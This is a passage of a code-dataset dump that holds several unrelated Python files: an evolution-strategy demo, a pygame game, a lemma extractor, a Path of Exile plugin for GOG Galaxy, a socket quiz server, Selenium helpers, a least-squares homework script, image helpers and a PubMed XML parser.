fA[keep])\n\n\n# a simple multiobjective version of ES (sort of)\nnp.random.seed(2)\n\n# random initial population (l x d matrix)\nP = np.random.uniform(lb, ub, (l,d))\nf = np.zeros((l,num_obj)) # we'll evaluate them later\ngen = 0\n\n# archive starts with 2 bad made-up solutions\nA = np.zeros_like(P[0:2,:])\nfA = 10**10*np.ones_like(f[0:2,:])\n\nwhile gen < max_gen:\n\n # evaluate all solutions in the population\n for i,x in enumerate(P):\n f[i,:] = mymulti1(x)\n\n A,fA = archive_sort(A, fA, P, f)\n\n # find m parents from nondomination tournaments\n Q = np.zeros((m,d))\n for i in range(m):\n Q[i,:] = binary_tournament(P,f)\n\n # then mutate: each parent generates l/m children (integer division)\n child = 0\n for i,x in enumerate(Q):\n for j in range(int(l/m)):\n P[child,:] = mutate(x, lb, ub, s)\n child += 1\n\n gen += 1\n print(gen)\n\nplt.scatter(fA[:,0], fA[:,1])\nplt.show()\n","repo_name":"jdherman/eci263","sub_path":"L11-multiobj-archive-multi1.py","file_name":"L11-multiobj-archive-multi1.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"72"} +{"seq_id":"73848862312","text":"import pygame as pg\nfrom random import randint\nfrom spryte import*\n\n\npg.init()\n\nWHITE = (255,255,255)\nBLACK = (0,0,0)\nRANDOM = (120,54,189)\nGREY = (64,64,64)\nFPS = 120\nWIDTH = 800\nHEIGHT = 600\n\nclock = pg.time.Clock()\n\nscore = 0\ncomic_sans30 = pg.font.SysFont(\"Comic Sans MS\", 30)\n\nspeed = 5\nlife = 100\n\nbg_img = pg.image.load(\"bakrund.png\")\nbg_img = pg.transform.scale(bg_img, (800,600))\n\nscreen = pg.display.set_mode((WIDTH,HEIGHT))\nsamurai_img = pg.image.load(\"samurai.png\")\nsamurai_img = pg.transform.scale(samurai_img, (100,130)) # endre størelse på karakter\n\nall_spryte = pg.sprite.Group()\nenemy_group = pg.sprite.Group()\nEnemyattack_group = pg.sprite.Group()\n\nsamurai = player()\nall_spryte.add(samurai)\n\ntext_hp = comic_sans30.render(\"SCORE: \" + str(score), True, WHITE)\n\nplaying = True\nwhile playing: # game loop\n \n clock.tick(FPS)\n for event in pg.event.get():\n if event.type == pg.QUIT:\n playing= False \n \n screen.blit(bg_img,(0,0))\n \n score += 1\n text_hp = comic_sans30.render(\"SCORE: \" + str(score), True, WHITE)\n \n all_spryte.update()\n\n hits = pg.sprite.spritecollide(samurai, Enemyattack_group,True)\n if hits:\n life -= 10\n if life < 1:\n playing = False\n \n all_spryte.draw(screen)\n\n screen.blit(text_hp, (10,10)) # TENGER SCORE\n\n #lage ny fiender \n if len(Enemyattack_group) < 3:\n enemy_attack = EnemyAttack()\n all_spryte.add(enemy_attack)\n Enemyattack_group.add(enemy_attack)\n\n pg.display.update()\n \n\n\n\n\n\n\n\n","repo_name":"haakonsollund/pygame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27393385659","text":"import sys, re\r\nimport xml.etree.ElementTree as ET\r\nimport argparse\r\n\r\narg_parser = argparse.ArgumentParser(description='Extract lemmas from a PROIEL corpus, optionally merging with an existing file of lemmas.')\r\narg_parser.add_argument('-f', '--lemma_file', default=None, help='File of existing lemmas and forms')\r\narg_parser.add_argument('xml_files', nargs=\"*\")\r\n\r\nif __name__ == '__main__':\r\n\targs = arg_parser.parse_args(sys.argv[1:])\r\n\r\n\tlemmas = {}\r\n\r\n\tif args.lemma_file:\r\n\t\twith open(args.lemma_file, 'r') as infile:\r\n\t\t\trows = infile.read().splitlines()\r\n\t\t\tfor row in rows:\r\n\t\t\t\ttokens = row.split('\\t')\r\n\t\t\t\tlemma = tokens[0].lower()\r\n\t\t\t\tforms = lemmas.get(lemma, [])\r\n\t\t\t\tforms += tokens[1:]\r\n\t\t\t\tlemmas[lemma] = forms\r\n\r\n\r\n\tfor xml_file in args.xml_files:\r\n\t\troot = ET.parse(xml_file).getroot()\r\n\r\n\t\tfor sentence in root.iter('sentence'):\r\n\t\t\tfor token in sentence.iter('token'):\r\n\t\t\t\tif token.attrib.get('empty-token-sort'):\r\n\t\t\t\t\tcontinue\r\n\r\n\t\t\t\tform = token.attrib['form']\r\n\t\t\t\tform = form.replace(' ', '.')\r\n\t\t\t\tform = form.replace('\\xa0', '.') # hack for crazy space encoding in some PROIEL files\r\n\r\n\t\t\t\tlemma = token.attrib['lemma'].lower()\r\n\t\t\t\tforms = lemmas.get(lemma, [])\r\n\t\t\t\tforms.append(form)\r\n\t\t\t\tlemmas[lemma] = forms\r\n\r\n\tfor lemma in lemmas.keys():\r\n\t\tprint (lemma + \"\\t\" + \"\\t\".join(set(lemmas[lemma])))\r\n","repo_name":"cltk/ang_models_cltk","sub_path":"src/python/proiel_lemmas.py","file_name":"proiel_lemmas.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"9796758643","text":"import asyncio\nimport json\nimport os\nimport platform\nimport re\nimport subprocess\nimport sys\nimport tempfile\nfrom datetime import datetime\nfrom typing import Dict, List, Optional, Union\n\nfrom galaxy.api.consts import Platform\nfrom galaxy.api.errors import AuthenticationRequired, InvalidCredentials, UnknownBackendResponse\nfrom galaxy.api.plugin import create_and_run_plugin, Plugin\nfrom galaxy.api.types import (\n Achievement, Authentication, Game, LicenseInfo, LicenseType, LocalGame, LocalGameState, NextStep\n)\nfrom galaxy.proc_tools import process_iter\nfrom poe_http_client import AchievementTagSet, PoeHttpClient\nfrom poe_types import AchievementName, AchievementTag, PoeSessionId, ProfileName, Timestamp\n\n\ndef is_windows() -> bool:\n return platform.system() == \"Windows\"\n\n\nif is_windows():\n import aiofiles\n import winreg\n\n\nclass PoePlugin(Plugin):\n _AUTH_REDIRECT = r\"https://localhost/poe?name=\"\n _AUTH_SESSION_ID = \"POESESSID\"\n _AUTH_PROFILE_NAME = \"PROFILE_NAME\"\n\n @staticmethod\n def _read_manifest():\n with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), \"manifest.json\")) as manifest:\n return json.load(manifest)\n\n _GAME_ID = \"PathOfExile\"\n _GAME_BIN = \"PathOfExile_x64.exe\" if is_windows() else \"\"\n _PROC_NAMES = [\"pathofexile.exe\", \"pathofexile_x64.exe\"] if is_windows() else []\n\n _INSTALLER_BIN = \"PathOfExileInstaller.exe\"\n\n def __init__(self, reader, writer, token):\n self._http_client: Optional[PoeHttpClient] = None\n self._install_path: Optional[str] = self._get_install_path() if is_windows() else None\n self._game_state: LocalGameState = self._get_game_state() if is_windows() else None\n self._manifest = self._read_manifest()\n self._achievements_cache: Dict[AchievementName, Timestamp] = {}\n super().__init__(Platform(self._manifest[\"platform\"]), self._manifest[\"version\"], reader, writer, token)\n\n async def _close_client(self):\n if not self._http_client:\n return\n\n await self._http_client.shutdown()\n self._http_client = None\n\n def _on_auth_lost(self):\n asyncio.create_task(self._close_client())\n self.lost_authentication()\n\n async def _do_auth(\n self, poesessid: PoeSessionId, profile_name: ProfileName, store_poesessid: bool = True\n ) -> Authentication:\n if not poesessid:\n raise InvalidCredentials(self._AUTH_SESSION_ID)\n if not profile_name:\n raise InvalidCredentials(self._AUTH_PROFILE_NAME)\n\n self._http_client = PoeHttpClient(poesessid, profile_name, self._on_auth_lost)\n\n if store_poesessid:\n self.store_credentials({self._AUTH_SESSION_ID: poesessid, self._AUTH_PROFILE_NAME: profile_name})\n\n return Authentication(user_id=profile_name, user_name=profile_name)\n\n async def authenticate(self, stored_credentials: dict = None) -> Union[Authentication, NextStep]:\n poesessid: Optional[PoeSessionId] = None\n profile_name: Optional[ProfileName] = None\n\n if stored_credentials:\n poesessid = stored_credentials.get(self._AUTH_SESSION_ID)\n profile_name = stored_credentials.get(self._AUTH_PROFILE_NAME)\n\n if poesessid and profile_name:\n return await self._do_auth(poesessid, profile_name, store_poesessid=False)\n\n return NextStep(\n \"web_session\"\n , {\n \"window_title\": \"Still sane, exile?\"\n , \"window_width\": 800\n , \"window_height\": 600\n , \"start_uri\": \"https://www.pathofexile.com/login\"\n , \"end_uri_regex\": re.escape(self._AUTH_REDIRECT) + \".*\"\n }\n , js={\n \"https://www.pathofexile.com/my-account\": [\n r'''\n profileName = document.getElementsByClassName(\"name\")[0].textContent;\n window.location.replace(\"''' + self._AUTH_REDIRECT + r'''\" + profileName);\n '''\n ]\n }\n )\n\n async def pass_login_credentials(self, step: str, credentials: Dict[str, str], cookies: List[Dict[str, str]]):\n def get_session_id() -> PoeSessionId:\n for c in cookies:\n if c.get(\"name\") == self._AUTH_SESSION_ID and c.get(\"value\"):\n return PoeSessionId(c[\"value\"])\n\n raise InvalidCredentials(self._AUTH_SESSION_ID + \"not found in cookies\")\n\n def get_profile_name() -> ProfileName:\n split_uri = credentials[\"end_uri\"].split(self._AUTH_REDIRECT, maxsplit=1)\n if not split_uri or len(split_uri) < 2:\n raise InvalidCredentials(self._AUTH_PROFILE_NAME + \" not found\")\n return ProfileName(split_uri[1])\n\n return await self._do_auth(get_session_id(), get_profile_name())\n\n async def get_owned_games(self) -> List[Game]:\n return [Game(\n game_id=self._GAME_ID\n , game_title=\"Path of Exile\"\n , dlcs=[]\n , license_info=LicenseInfo(LicenseType.FreeToPlay)\n )]\n\n def requires_authentication(self):\n if not self._http_client:\n raise AuthenticationRequired()\n\n async def prepare_achievements_context(self, game_ids: List[str]) -> AchievementTagSet:\n self.requires_authentication()\n\n return await self._http_client.get_achievements()\n\n async def get_unlocked_achievements(self, game_id: str, achievement_tags: AchievementTagSet) -> List[Achievement]:\n def achievement_parser(achievement_tag: Optional[AchievementTag]) -> Achievement:\n name_tag = achievement_tag.h2\n if not name_tag:\n raise UnknownBackendResponse(\"Cannot find achievement name tag\")\n\n achievement_name = achievement_tag.h2.get_text()\n if not achievement_name:\n raise UnknownBackendResponse(\"Failed to parse achievement name\")\n\n return Achievement(\n unlock_time=self._achievements_cache.setdefault(\n achievement_name\n , Timestamp(int(datetime.utcnow().timestamp()))\n )\n , achievement_name=achievement_name\n )\n\n return [\n achievement_parser(achievement_tag)\n for achievement_tag in achievement_tags\n ]\n\n if is_windows():\n def tick(self):\n if not self._install_path:\n self._install_path = self._get_install_path()\n\n current_game_state = self._get_game_state()\n if self._game_state != current_game_state:\n self._game_state = current_game_state\n self.update_local_game_status(LocalGame(self._GAME_ID, self._game_state))\n\n @staticmethod\n def _get_install_path() -> Optional[str]:\n try:\n with winreg.OpenKey(winreg.HKEY_CURRENT_USER, r\"Software\\GrindingGearGames\\Path of Exile\") as h_key:\n return winreg.QueryValueEx(h_key, \"InstallLocation\")[0]\n\n except (WindowsError, ValueError):\n return None\n\n def _is_installed(self) -> bool:\n if not self._install_path:\n return False\n\n return os.path.exists(os.path.join(self._install_path, self._GAME_BIN))\n\n def _is_running(self) -> bool:\n for proc in process_iter():\n if proc.binary_path is None:\n continue\n\n for proc_name in self._PROC_NAMES:\n if proc.binary_path.lower().endswith(os.path.join(os.path.sep, proc_name)):\n return True\n\n return False\n\n def _get_game_state(self) -> LocalGameState:\n if not self._is_installed():\n return LocalGameState.None_\n\n if self._is_running():\n return LocalGameState.Running\n\n return LocalGameState.Installed\n\n async def get_local_games(self) -> List[LocalGame]:\n self._game_state = self._get_game_state()\n return [LocalGame(self._GAME_ID, self._game_state)]\n\n @staticmethod\n def _exec(command_path: str, *args, arg: List[str] = None, **kwargs):\n subprocess.Popen(\n [command_path] + (arg if arg else [])\n , *args\n , creationflags=subprocess.DETACHED_PROCESS | subprocess.CREATE_NO_WINDOW\n , cwd=os.path.dirname(command_path)\n , **kwargs\n )\n\n async def launch_game(self, game_id: str):\n if self._install_path:\n self._exec(os.path.join(self._install_path, self._GAME_BIN))\n\n async def _get_installer(self) -> str:\n def get_cached() -> Optional[str]:\n try:\n with winreg.OpenKey(\n winreg.HKEY_LOCAL_MACHINE\n , r\"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\"\n ) as h_info_root:\n for idx in range(winreg.QueryInfoKey(h_info_root)[0]):\n try:\n with winreg.OpenKeyEx(h_info_root, winreg.EnumKey(h_info_root, idx)) as h_sub_node:\n def get_value(key):\n return winreg.QueryValueEx(h_sub_node, key)[0]\n\n if get_value(\"DisplayName\") == \"Path of Exile\" and get_value(\"Installed\"):\n installer_path = get_value(\"BundleCachePath\")\n if os.path.exists(str(installer_path)):\n return installer_path\n\n except (WindowsError, KeyError, ValueError):\n continue\n\n except (WindowsError, KeyError, ValueError):\n return None\n\n async def download():\n self.requires_authentication()\n\n installer_path = os.path.join(tempfile.mkdtemp(), self._INSTALLER_BIN)\n async with aiofiles.open(installer_path, mode=\"wb\") as installer_bin:\n await installer_bin.write(await self._http_client.get_installer())\n\n return installer_path\n\n return get_cached() or await download()\n\n async def install_game(self, game_id: str):\n self._exec(await self._get_installer())\n\n async def uninstall_game(self, game_id: str):\n self._exec(await self._get_installer(), arg=[\"/uninstall\"])\n\n async def shutdown(self):\n await self._close_client()\n\n\ndef main():\n create_and_run_plugin(PoePlugin, sys.argv)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nyash-qq/galaxy-plugin-poe","sub_path":"src/poe_plugin.py","file_name":"poe_plugin.py","file_ext":"py","file_size_in_byte":10785,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"44257452870","text":"import os\nimport select\nimport socket\nimport time\n\nfrom questionBank import * #Contains all the questions and options for the quiz\nfrom utilities import * #Contains all the functions which have been called here\n\nos.system('clear')\n\n#Socket programming\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\ns.bind((IP, PORT))\ns.listen(3)\n\nprint(\"Server started ...\")\n\nmax_players = 3 #Maximum number of players (Flexible.. Change it according to your wish)\nmax_score = 5 #Maximum score to win the game (Flexible.. Change it according to your wish)\n\nsockets_list = [s] \nplayers = {}\nscores_list = {}\n\nasked_que = [False]*len(questions_list) #List of questions which have already been asked \nindex = -1 #index of the question in questionBank\ndisplay_options = [] #order of the current options being displayed (Option numbers are shuffled everytime)\nquestions = 0 #Total number of questions asked\n\n#Utility to accept connections to the server\ndef accept_connections():\n while len(players) < max_players: #Connections need to be equal to max_players\n conn, addr = s.accept() #Accepting new connections\n username = receiveMsg(conn) #Receiving username of the new client\n if username is False:\n continue\n\n sockets_list.append(conn) #List of all sockets connected\n players[conn] = username #List of all players\n scores_list[username] = 0 #Scores of all players\n\n print(f\"Accepted new connection {addr}\")\n print(f\"Player username is {username}\")\n sendMsg(\"\\nWaiting for other players to connect...\\n\", conn)\n\n#Utility to send message to all the clients at once\ndef broadcast(message):\n for connection in sockets_list:\n try:\n sendMsg(message, connection)\n except:\n pass\n\n#Utility to send question and options of the quiz to all players\ndef quiz():\n global index, display_options \n index = selectQuestion(asked_que) #Selecting a random question which has not been asked earlier\n display_options = displayOptions(index) #Shuffled options\n broadcast(f\"\\nQ. {questions_list[index]}\\n\") \n #time.sleep(0.5)\n\n option_num = 1\n for option in display_options:\n broadcast(f\"{option_num}. {option}\")\n option_num += 1\n\n broadcast(\"Buzzer\") #Indicates the client to press buzzer\n\n#Utility to display scores of all the players\ndef scoreTable():\n time.sleep(1)\n broadcast(\"\\nCurrent Scores\")\n for player in scores_list:\n broadcast(f\"{player} : {scores_list[player]}\")\n\n#Utility to check if the answer is correct or not\ndef checkAnswer(option, buzzer_player):\n global display_options, index\n correct = False \n time.sleep(0.5)\n\n if option == \"false\": #Indication from the client that no response was given within 10 seconds\n sendMsg(\"You get -0.5 score\", buzzer_player)\n elif (49 <= ord(option[0]) <= 52): #ASCII value from 1 to 4\n option = int(option)\n correct = checkOption(display_options, option, index)\n else: #If something else is input then the answer is considered to be wrong\n pass\n\n if correct:\n sendMsg(\"\\nYour answer is correct\", buzzer_player)\n sendMsg(\"You get +1 score\", buzzer_player)\n scores_list[players[buzzer_player]] += 1\n else:\n sendMsg(\"\\nYour answer is wrong\", buzzer_player)\n sendMsg(\"You get -0.5 score\", buzzer_player)\n scores_list[players[buzzer_player]] -= 0.5\n\n if scores_list[players[buzzer_player]] >= max_score:\n return True\n return False\n\n\naccept_connections()\ntime.sleep(0.5)\nbroadcast(f\"All players have joined the game..\")\ntime.sleep(1)\n\n#Game Rules\nbroadcast(f\"\\nRules of the quiz are simple -\") \nbroadcast(f\"You have 10 seconds to press buzzer(enter any letter or number on the keyboard).\")\nbroadcast(f\"The first one to press buzzer will be given the opportunity to answer\")\nbroadcast(f\"You have 10 seconds to answer if your answer is correct you get +1 , in all other cases -0.5\")\nbroadcast(f\"First one to reach 5 points will be declared as the winner\")\ntime.sleep(5)\nbroadcast(f\"\\nGame is starting...\")\ntime.sleep(0.5)\n\n#Main loop for the game\nwhile True:\n\n if questions == len(questions_list): #If question bank is over then game is finished\n break\n\n time.sleep(2) \n quiz() #Ask question\n questions += 1\n time.sleep(1)\n\n no_answers = True #variable to check no answers within the TIMEOUT limit\n first_player = True #variable to check the first player to press buzzer\n\n read, _, _ = select.select(sockets_list,[],[], TIMEOUT) #Checks any responses within the TIMEOUT limit\n\n for socket in read:\n message = receiveMsg(socket)\n if first_player and message != \"false\": #\"false\" is indication from the client that no response was given within 10 seconds \n buzzer_player = socket #Player which pressed the buzzer first\n first_player = False\n no_answers = False\n break\n\n if no_answers:\n broadcast(\"No one pressed the buzzer!\\n\")\n time.sleep(0.5)\n broadcast(\"Proceeding to the next question...\")\n continue\n else:\n for socket in sockets_list: #Broadcasting to other players to not press the buzzer\n if socket != buzzer_player and socket != s:\n sendMsg(f\"\\n{players[buzzer_player]} pressed the buzzer first..\", socket)\n sendMsg(f\"Please wait for {players[buzzer_player]} to answer\", socket)\n\n sendMsg(\"Answer\", buzzer_player) #Indicates the client to answer\n\n option = receiveMsg(buzzer_player) #Response from the player\n if option:\n game_over = checkAnswer(option, buzzer_player)\n else:\n game_over = checkAnswer(\"false\", buzzer_player)\n\n scoreTable() #Displaying scores at the end of each question\n\n if game_over:\n break\n\n#Game is finished\ntime.sleep(1)\nbroadcast(\"\\nGame is over!!\")\n\ntime.sleep(1)\nif questions == len(questions_list):\n broadcast(f\"Question bank is finished..\")\nelse:\n broadcast(f\"Winner is {max(scores_list, key = scores_list.get)}!!\")\n\ntime.sleep(1)\nbroadcast(\"Hope you enjoyed playing the game!!\\n\")\nbroadcast(\"GameOver\") #Indicates the client to close the connection\ntime.sleep(1)\n\ns.close()","repo_name":"divyamagwl/GameShow","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":6269,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"4392016105","text":"from test_fmk.config.constants import base_url\nfrom .base_element import BaseElement\nfrom test_fmk.helpers.utils import Locator\n\nmodal_close = '//a[@data-role=\"layer-close\"]'\n\n\nclass Base:\n url = base_url\n\n def __init__(self, driver):\n self.driver = driver\n\n def open(self):\n self.driver.get(self.url)\n\n def get_base_element(self, by, value):\n self.check_close_modal()\n locator = Locator(by, value)\n elem = BaseElement(self.driver, locator)\n return elem\n\n def get_base_elements(self, by, value, elem_number=0):\n self.check_close_modal()\n locator = Locator(by, value)\n elems = BaseElement(self.driver, locator, plural=True)\n if elem_number == 0:\n return elems\n else:\n elems = elems.wait_for_elements_present()\n return elems[elem_number]\n\n def check_close_modal(self):\n locator = Locator('xpath', modal_close)\n try:\n elem = BaseElement(self.driver, locator, wait=0.2)\n elem.click(wait=0.1)\n except Exception:\n pass\n","repo_name":"edanca/automation-python-project","sub_path":"test_fmk/basis/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70633569193","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 26 18:04:56 2020\n\n@author: jorgeagr\n\"\"\"\n\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mtick\n\n# Setting plotting variables\nwidth = 10\nheight = 10\n\nmpl.rcParams['figure.figsize'] = (width, height)\nmpl.rcParams['font.size'] = 18\nmpl.rcParams['figure.titlesize'] = 'small'\nmpl.rcParams['legend.fontsize'] = 'small'\nmpl.rcParams['xtick.major.size'] = 12\nmpl.rcParams['xtick.minor.size'] = 8\nmpl.rcParams['xtick.labelsize'] = 18\nmpl.rcParams['ytick.major.size'] = 12\nmpl.rcParams['ytick.minor.size'] = 8\nmpl.rcParams['ytick.labelsize'] = 18\n\nclass Constrained_LSF(object):\n \n def __init__(self, G, d, F, h):\n self.N = G.shape[1]\n self.G = G\n self.d = d.reshape(len(d),1)\n self.F = F\n self.h = h.reshape(len(h),1)\n return\n \n # LSF function to calcualte model parameters and covariance matrix\n def fit(self):\n ''' \n Outputs:\n m : (N+1)-array\n model weights\n m_var : (N+1)*(N+1) matrix\n covariance matrix\n '''\n G = self.G\n GT = self.G.T\n F = self.F\n FT = self.F.T\n GTGinv = np.linalg.inv(GT @ G)\n \n self.m = (GTGinv @ GT) @ self.d\n # Recalculate m for constrained version\n self.m = self.m - GTGinv @ FT @ np.linalg.inv(F @ GTGinv @ FT) @ (F @ self.m - h)\n \n d_model = G @ self.m\n r = self.d - d_model\n self.data_var = (r**2).sum() / (G.shape[0] - self.N + len(self.h))\n \n I = np.eye(len(self.m))\n self.m_cov = (I - GTGinv @ FT @ np.linalg.inv(F @ GTGinv @ FT) @ F) @ GTGinv @ (I - GTGinv @ FT @ np.linalg.inv(F @ GTGinv @ FT) @ F) * self.data_var\n self.m_std = np.sqrt(self.m_cov.diagonal())\n \n return self.m, self.m_cov\n\n # Calculate output for the model given input data\n def func(self, g):\n d = np.dot(g, self.m).flatten()\n d_var = g @ (self.m_cov @ g.T)\n return d, d_var\n\ndef minsec2dec(degrees, minutes, seconds):\n degrees += (minutes/60) + (seconds/3600)\n return degrees\n\ndef dec2minsec(degrees):\n remainder = degrees\n degrees = int(degrees)\n remainder = remainder - degrees\n minutes = int(remainder*60)\n remainder = remainder*60 - minutes\n seconds = int(round(remainder*60))\n return degrees, minutes, seconds\n\nA = minsec2dec(40, 19, 2)\nB = minsec2dec(70, 30, 1)\nC = minsec2dec(69, 11, 5)\n\nd = np.vstack([A, B, C])\nG = np.eye(3)\n\nF = np.array([[1, 1, 1]])\nh = np.array([180, ])\n\nmodel = Constrained_LSF(G, d, F, h)\nm, cov = model.fit()\n\n# Part A\nprint('Approximate Angles')\nfor l, a in zip(('A', 'B', 'C'), (m.flatten())):\n deg = dec2minsec(a)\n print('{} = {} deg {} min {} sec'.format(l, deg[0], deg[1], deg[2]))\nprint('\\nSum of angles = {}'.format(m.sum()))\n# Part B\nprint('\\nData Variance:', model.data_var)\n\n# Part C\nprint('\\nCovariance Matrix:\\n', model.m_cov)","repo_name":"JorgeAGR/nmsu-course-work","sub_path":"GPHY560/Homework 3/prob1.py","file_name":"prob1.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41659128068","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\n\n\ndef draw_lines_from_points(img, pts, color=[255, 0, 0], \n thickness = 3):\n pts = pts.reshape((4,2))\n cv2.line(img, (pts[0, 0], pts[0, 1]), (pts[1, 0], pts[1, 1]), \n color, thickness)\n cv2.line(img, (pts[0, 0], pts[0, 1]), (pts[1, 0], pts[1, 1]), \n color, thickness)\n cv2.line(img, (pts[1, 0], pts[1, 1]), (pts[2, 0], pts[2, 1]), \n color, thickness)\n cv2.line(img, (pts[3, 0], pts[3, 1]), (pts[0, 0], pts[0, 1]), \n color, thickness)\n return None\n\n\ndef show_img(img, cmapval=None, ttl=''):\n plt.imshow(img, cmap=cmapval)\n plt.title(ttl)\n plt.show()\n return None\n\n\ndef show_imgs(imgs, cmaps, ttls, nrows=3, ncols=2, width=10, height=5, res=100):\n\n fig, ax = plt.subplots(nrows, ncols, figsize=(width, height), dpi=res)\n ax = ax.ravel()\n \n for i in range(len(imgs)):\n img = imgs[i]\n cmapval = cmaps[i]\n ttl = ttls[i]\n ax[i].imshow(img, cmap=cmapval)\n ax[i].set_title(ttl)\n \n for i in range(nrows * ncols):\n ax[i].axis('off')\n \n return None\n\n\ndef create_comb_img(main_img, side_img1_in, side_img2_in, side_img3_in, side_img4_in, side_img5_in):\n\n main_shape = main_img.shape\n\n # prepare images\n final_shape = (int(main_shape[0]*1.5), int(main_shape[1]*1.5),3)\n half_shape = (main_shape[0]//2, main_shape[1]//2)\n final_img = np.zeros(final_shape, dtype=main_img.dtype)\n\n side_img1 = cv2.resize(side_img1_in, half_shape[::-1])\n if len(side_img1.shape)==2:\n side_img1 = side_img1*255\n side_img1 = np.dstack((side_img1, side_img1, side_img1))\n\n side_img2 = cv2.resize(side_img2_in, half_shape[::-1])\n if len(side_img2.shape)==2:\n side_img2 = side_img2*255\n side_img2 = np.dstack((side_img2, side_img2, side_img2))\n\n side_img3 = cv2.resize(side_img3_in, half_shape[::-1])\n if len(side_img3.shape)==2:\n side_img3 = side_img3*255\n side_img3 = np.dstack((side_img3, side_img3, side_img3))\n\n side_img4 = cv2.resize(side_img4_in, half_shape[::-1])\n if len(side_img4.shape)==2:\n side_img4 = side_img4*255\n side_img4 = np.dstack((side_img4, side_img4, side_img4))\n \n side_img5 = cv2.resize(side_img5_in, half_shape[::-1])\n if len(side_img5.shape)==2:\n side_img5 = side_img5*255\n side_img5 = np.dstack((side_img5, side_img5, side_img5))\n\n # fill final image\n # main image\n final_img[-main_shape[0]:,-main_shape[1]:] = main_img\n # side image 1 (top left)\n final_img[:-main_shape[0],:-main_shape[1]] = side_img1\n # side image 2 (top middle)\n final_img[:-main_shape[0],-main_shape[1]:main_shape[1]] = side_img2\n # side image 3 (top right)\n final_img[:-main_shape[0],main_shape[1]:] = side_img3\n # side image 4 (left mid)\n final_img[-main_shape[0]:main_shape[0],:-main_shape[1]] = side_img4\n # side image 5 (left bottom)\n final_img[main_shape[0]:,:-main_shape[1]] = side_img5\n\n return final_img\n","repo_name":"fstahl1/advanced_lane_finding","sub_path":"help_func.py","file_name":"help_func.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36910661970","text":"import xml.etree.ElementTree as ET\nimport re\n\nPATH = \"./PubmedArticleSet/PubmedArticle/MedlineCitation/Article\"\ndata_path = \"/home/tsung/CODE/Information-Retrieval/IR_HW/search/data/pubmed_data\"\n\n\nclass xmldata:\n def __init__(self, title=None, content=None, char_count=None, word_count=None, sentence_count=None, score=None):\n self.title = title\n self.content = content\n self.char_count = char_count\n self.word_count = word_count\n self.sentence_count = sentence_count\n self.score = score\n\n\ndef xmlParser(file_name):\n # return 20 data\n parse_data = []\n cnt = 0\n\n with open(file_name, \"r\", encoding='UTF-8') as inputFile:\n # omit first two row\n next(inputFile)\n next(inputFile)\n fileContent = inputFile.read()\n f = open(data_path, \"w\", encoding='UTF-8')\n # parse multi root xml\n tree = ET.fromstring(\"\" + fileContent + \"\")\n for artical in tree.findall(PATH):\n # fetch title\n title = artical.find(\"ArticleTitle\")\n if(title is None):\n title = ''\n else:\n title = ''.join(title.itertext())\n title = title.replace('\\n', ' ')\n title = title.replace('\\t', ' ')\n title = title.strip(' ')\n\n # fetch abstract\n abstract = artical.find(\"Abstract\")\n char_count = 0\n word_count = 0\n sentence_count = 0\n if(abstract is None):\n content = ''\n else:\n content = ''\n for abstractText in abstract.findall(\"AbstractText\"):\n if 'Label' in abstractText.attrib:\n content = content + '' + abstractText.attrib['Label'] + ':
                '\n temp_text = ''.join(abstractText.itertext())\n temp_text = temp_text.replace('\\n', ' ')\n temp_text = temp_text.replace('\\t', ' ')\n temp_text = temp_text.strip(' ')\n content = content + temp_text + '
            '\n # char_count = char_count + len(temp_text)\n char_count = char_count + len(re.split(r'\\S', temp_text))\n word_count = word_count + len(re.split(r'\\w+', content))\n else:\n content = ''.join(abstractText.itertext()) + '
            '\n char_count = char_count + len(re.split(r'\\S', content))\n word_count = word_count + \\\n len(re.split(r'\\w+', content))\n\n # show partial data\n match_idx = []\n for idx in list(re.finditer('(? 0):\n # j = 0\n # # iterate each char\n # for k in range(len(content)):\n # if(k == match_idx[j][0]):\n # new_str = new_str + \\\n # '' + content[k]\n # elif(k == match_idx[j][1]):\n # new_str = new_str + ' ' + content[k]\n # j = j + 1\n # if(j >= len(match_idx)):\n # new_str = new_str + content[k + 1:]\n # break\n # else:\n # new_str = new_str + content[k]\n # # add span tag, it also add \\n for no reason\n # content = new_str.replace('\\n', ' ')\n '''\n some string have '\\n', which will cause error\n '''\n content = content.replace('\\n', ' ')\n output = '%s\\t%s\\t%d\\t%d\\t%d\\n' % (\n title, content, char_count, word_count, sentence_count)\n\n f.write(output)\n parse_data.append(\n xmldata(title, content, char_count, word_count, sentence_count, 0))\n cnt = cnt + 1\n f.close()\n return parse_data, cnt\n\n# xmlParser(\"/home/tsung/CODE/Information-Retrieval/data/pubmed_dengue3.xml\")\n","repo_name":"TsungHuaLee/Bio_Information_Retrievel","sub_path":"IR_HW/search/xmlParser.py","file_name":"xmlParser.py","file_ext":"py","file_size_in_byte":4377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14314678288","text":"import time\nimport uuid\nfrom pathlib import Path\nfrom typing import Any, 